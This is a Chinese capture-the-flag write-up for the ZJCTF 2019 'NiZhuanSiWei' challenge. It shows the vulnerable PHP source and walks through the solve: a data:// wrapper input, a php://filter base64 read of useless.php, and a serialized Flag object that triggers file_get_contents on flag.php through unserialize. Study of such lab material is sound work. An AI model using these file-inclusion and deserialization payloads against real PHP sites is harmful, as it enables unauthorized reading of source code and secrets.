[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化

[ZJCTF 2019]NiZhuanSiWei

  • [1 解题流程](#1 解题流程)
    • [1.1 分析](#1.1 分析)
    • [1.2 解题](#1.2 解题)

题目源码:

php 复制代码
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

1 解题流程

1.1 分析

1、get传text、file、password参数

2、file_get_contents($text,'r')的内容要等于welcome to the zjctf才能继续,我们又不知道哪个文件是这个内容,所以直接data伪协议传文件

3、file值不能包含flag

4、提示我们去包含useless.php(先看源码再包含)

5、password需要传递序列化数据(肯定有类给我们)

1.2 解题

  1. ?text=data://text/plain,welcome to the zjctf

  2. ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

    php 复制代码
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo
    
    解码得到:
    <?php  
    	class Flag{  //flag.php  
    	    public $file;  
    	    public function __tostring(){  
    	        if(isset($this->file)){  
    	            echo file_get_contents($this->file); 
    	            echo "<br>";
    	        return ("U R SO CLOSE !///COME ON PLZ");
    	        }  
    	    }  
    	}  
    ?>  
  3. flag在flag.php中,我们的目标是toString的file_get_contents
    构造pop链

    php 复制代码
    <?php  
    	class Flag{  //flag.php  
    		public $file;  
    		public function __tostring(){  
    			if(isset($this->file)){  
    				echo file_get_contents($this->file); 
    				echo "<br>";
    				return ("U R SO CLOSE !///COME ON PLZ");
    			}  
    		}  
    	}  
    	$f = new Flag();
    	$f->file = "flag.php";
    	echo serialize($f);
    ?>  
    得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  
  4. payload=?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    注意:此时file需要真正包含useless.php

相关推荐
IT闫1 天前
Rust的内存安全与实战落地的直观解析
开发语言·安全·rust
金士镧(厦门)新材料有限公司1 天前
稀土抑烟剂:为电子电气设备外壳提供“安全屏障”
科技·安全·全文检索
晓翔仔1 天前
网络安全之Web入侵场景
前端·安全·web安全·网络安全·信息安全
Andya_net1 天前
网络安全 | 深入解析XSS攻击与防御实战
安全·web安全·xss
Guheyunyi1 天前
安防监控系统,如何为你的生活构筑智慧安全屏障?
大数据·人工智能·安全·信息可视化·生活
e***74951 天前
Nginx 常用安全头
运维·nginx·安全
亿坊电商1 天前
PHP框架的资源管理机制如何优雅适配后台任务?
开发语言·php
灵雀云1 天前
灵雀云 ACP:金融级云原生平台,实现“安全、稳定、智能”的价值承诺
安全·云原生·金融
xixixi777771 天前
通信电子围栏——对特定终端(手机/物联网卡)进行实时监控和预警
安全·监控·通信·电子围栏·电子边界
c***V3231 天前
免费的Web安全培训课程,OWASP Top 10
数据库·安全·web安全